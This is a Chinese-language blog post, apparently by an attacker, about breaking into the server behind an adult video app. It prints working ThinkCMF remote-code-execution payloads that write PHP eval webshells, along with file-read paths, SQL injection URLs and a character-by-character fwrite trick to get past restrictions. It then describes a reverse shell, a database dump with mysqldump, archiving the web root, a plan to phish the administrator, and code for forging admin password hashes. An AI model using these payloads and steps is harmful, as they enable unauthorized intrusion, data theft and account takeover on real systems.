在一个风和日丽的晚上,正兴奋逛Twitter的我,忽然发现下面推荐关注有这么一个xxxx视频的名片。
这这这这,我可是正经人,不知道Twitter为啥会给我推送这些。这必须盘他,打开推广链接,辣眼睛,下载该app。
这app一打开就给人一股熟悉的味道,一看感觉很有可能是tp二开的。
注册手机号fiddler抓包改包,其实内容更辣眼睛
抓包获取url发现这不就是thinkcmf吗?满脸淫笑的想这还不拿下,前台那么多rce,就算有狗也能秒之,然而很快被现实打脸。
命令执行POC:
payload1:
/index.php?g=api&m=Oauth&a=fetch&content=<php>file_put_contents('pass.php','<?php @eval($_POST[1]); ?>')</php>
payload2:
/?a=fetch&;templateFile=public/index&prefix=''&content=<php>file_put_contents('pass.php','<?php @eval($_POST[1]); ?>')</php>
payload3:
?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E
然后任意文件读取:
/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log
最后在目录下会生成一个m.php一句话木马文件,当然也可以写成其他的payload。
一顿操作猛如虎,一看文件404,难道就要凉凉了?
不怕,另外该APP,还有SQL注入:
注入点1:
/index.php?g=Appapi&m=Video&videoid=1
注入点2:
/index.php?g=Appapi&m=Auth&a=index&uid=128889&token=b69cda34dff2fa978a94b5583e7f5c9a
注入也凉凉,看来我这是要我掏出0day的节奏?算了还是忍忍吧。经过一番鼓捣研究,细节就不贴了,此处省略千字。说多了都是泪........
最后终于出了phpinfo,版本7.2以上
payload:
/?a=fetch&content=<?=phpinfo();exit();
这不离shell更近一步了,然后看disable_functions禁用这么求多。
这里尝试了使用assert函数写入,以为成了,结果还是返回1
@assert函数不行,这里就可以尝试读取文件file_get_contents,读取数据库配置文件
在继续读取config.php文件时,突然想起之前下载app的时候是放在阿里云oss里面的,按理说他的配置文件里面应该有阿里云key和id,但现实终究是那么残酷,连aliyun这几个字母都没看到。
读取一些配置文件没有东西,数据库和redis不可外连,于是就准备写个shell上去在仔细翻下,尝试用file_put_contents读取文件。
好像不行,难道是参数问题,file_get_contents都能读任意文件,或者是目录不可写?尝试写在/tmp/1.txt也是同样的报错,想到php还要其他写文件的函数,于是w3school翻了下
写入123到i.txt,成功写入文件
尝试写入php一句话,提示模板不存在,该怎么办?眼看shell到手了。仔细看fwrite参数 ,w+是打开写入,r+是追加,难道我要一个字符一个字符写入?没错,就是要一个字符一个字符写入。
?a=fetch&content=%3C?=@$fp=fopen(%221.php%22,%27a+%27);%20fwrite($fp,%27<%27);exit();
最终可getshell
绕过命令执行,反弹shell
然后打包+脱裤
mysqldump -h127.0.0.1 -uxxxx -pxxxx xxx >xxx.sql
tar -cvf 1.tar /www/wwwroot/xxx/
以为这就完了 ?no,看了端口链接以及登陆ip还有搞头,后续待我钓到管理员pc,出续集,另外cmf密码默认加密
<?php
function setPass($pass)
{
$authcode = 'rCt52pF2cnnKNB3Hkp';
$pass = "###" . md5(md5($authcode . $pass));
return $pass;
}
echo setPass('123456')
?>
进后台的话,明文加密替管理员密文,或者加密明文去撞。